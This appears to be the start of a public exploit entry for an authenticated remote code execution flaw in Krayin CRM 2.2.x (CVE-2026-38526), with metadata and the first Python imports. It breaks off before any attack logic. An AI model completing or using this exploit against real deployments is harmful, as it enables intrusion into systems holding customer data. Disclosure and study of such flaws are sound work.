Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution
Date: 07/05/2026
Exploit Author: Diamorphine
Vendor Homepage: https://krayincrm.com
Software Link: https://github.com/krayin/laravel-crm
Version: 2.2.x
Tested on: Debian
CVE : CVE-2026-38526
import asyncio
import httpx
from urllib.parse import *
import argparse
from bs4 import BeautifulSoup
import json
async def main(url, user,...